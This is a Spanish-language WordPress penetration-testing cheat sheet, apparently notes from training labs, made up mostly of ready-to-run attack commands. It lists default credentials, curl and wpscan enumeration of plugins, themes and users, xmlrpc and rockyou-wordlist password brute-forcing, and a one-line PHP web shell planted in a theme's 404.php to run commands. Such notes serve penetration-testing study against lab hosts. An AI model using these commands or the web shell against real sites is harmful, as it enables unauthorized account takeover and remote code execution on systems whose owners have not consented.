Credenciales Por Defecto

1
admin:password

Enumeración Manual

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Version de Wordpress
curl -s -X GET http://blog.inlanefreight.com | grep '<meta name="generator"'

# Plugins (Recomendado hacerlo en articulos de WordPress)
curl -s -X GET http://blog.inlanefreight.com | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2

# Themes
curl -s -X GET http://blog.inlanefreight.com | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d"'" -f2

# Plugins y Temas descubrimiento de ruta (Debe retornar un 301 si marca 404 el plugin o el tema no existe)
curl -I -X GET http://blog.inlanefreight.com/wp-content/plugins/mail-masta
# Aunque el plugin este desactivado hay que intentar ver el contenido del plugin.

# Enumeracion de Usuarios
curl -s -I http://blog.inlanefreight.com/?author=1 # Se cambia el ID para ver los usuarios
curl http://blog.inlanefreight.com/wp-json/wp/v2/users | jq # Retorna JSON de todos los usuarios

# xmlrpc.php > Ruta 'http://test.com/xmlrpc.php'
# Obtener metodos disponibles con xmlrpc:
curl "http://test.com/xmlrpc.php" -X POST -d '<methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>'
# Ejemplo para POST (podemos hacer fuerza bruta de usuarios con esto) (mejor usar wpscan)
curl "http://test.com/xmlrpc.php" -X POST -d '<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>admin</value></param><param><value>password</value></param></params></methodCall>'

Enumeración Automática

1
2
3
4
5
6
7
8
9
10
# Simple pero enumeras todo y plugins con el token para versiones vulnerables
wpscan --url http://94.237.54.114:55610 --enumerate --api-token <token>

wpscan --url http://internal.thm/blog/ --enumerate vp,u,vt,tt --verbose

## otro tipo de enumeracion
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url https://example.com

# Specifify username (-U) BruteForce de usuarios
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url https://example.com -U username -P /usr/share/wordlists/rockyou.txt

Bruteforce

1
2
3
4
5
# A usuario john
wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local

# O
wpscan --url http://94.237.54.114:55610 --password-attack xmlrpc -t 20 -U <Username> -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

Reverse shell

Dentro de themes si podemos personalizar alguno en código php podemos inyectar una reserse shell y llamarla en la siguiente URL de ejemplo (Si el tema actual no funciona probar con los demás temas o ver cual es el que esta aplicado).

1
2
3
4
5
<?php
system($_GET['cmd']);


http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php

Rutas interesantes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/author/admin/
/index.php/author/admin/
/license.txt
/readme.html
/robots.txt

/wp-admin/
/wp-admin/admin-ajax.php
/wp-admin/upload.php
/wp-config.php
/wp-content/
/wp-content/uploads/
/wp-includes/
/wp-json/wp/v1/
/wp-json/wp/v1/users
/wp-json/wp/v2/
/wp-json/wp/v2/users
/wp-login.php

# Usuarios
/?author=1
/?author=2

# Posts
/?p=1
/?p=2

# Private/Draft Posts (WordPress <= 5.2.3)
/?static=1

# Rutas dentro del /var/www/html
$ tree -L 1 /var/www/html
.
├── index.php
├── license.txt
├── readme.html
├── wp-activate.php
├── wp-admin
├── wp-blog-header.php
├── wp-comments-post.php
├── wp-config.php
├── wp-config-sample.php
├── wp-content
├── wp-cron.php
├── wp-includes
├── wp-links-opml.php
├── wp-load.php
├── wp-login.php
├── wp-mail.php
├── wp-settings.php
├── wp-signup.php
├── wp-trackback.php
└── xmlrpc.php

Artículos interesantes

Wordpress Pentesting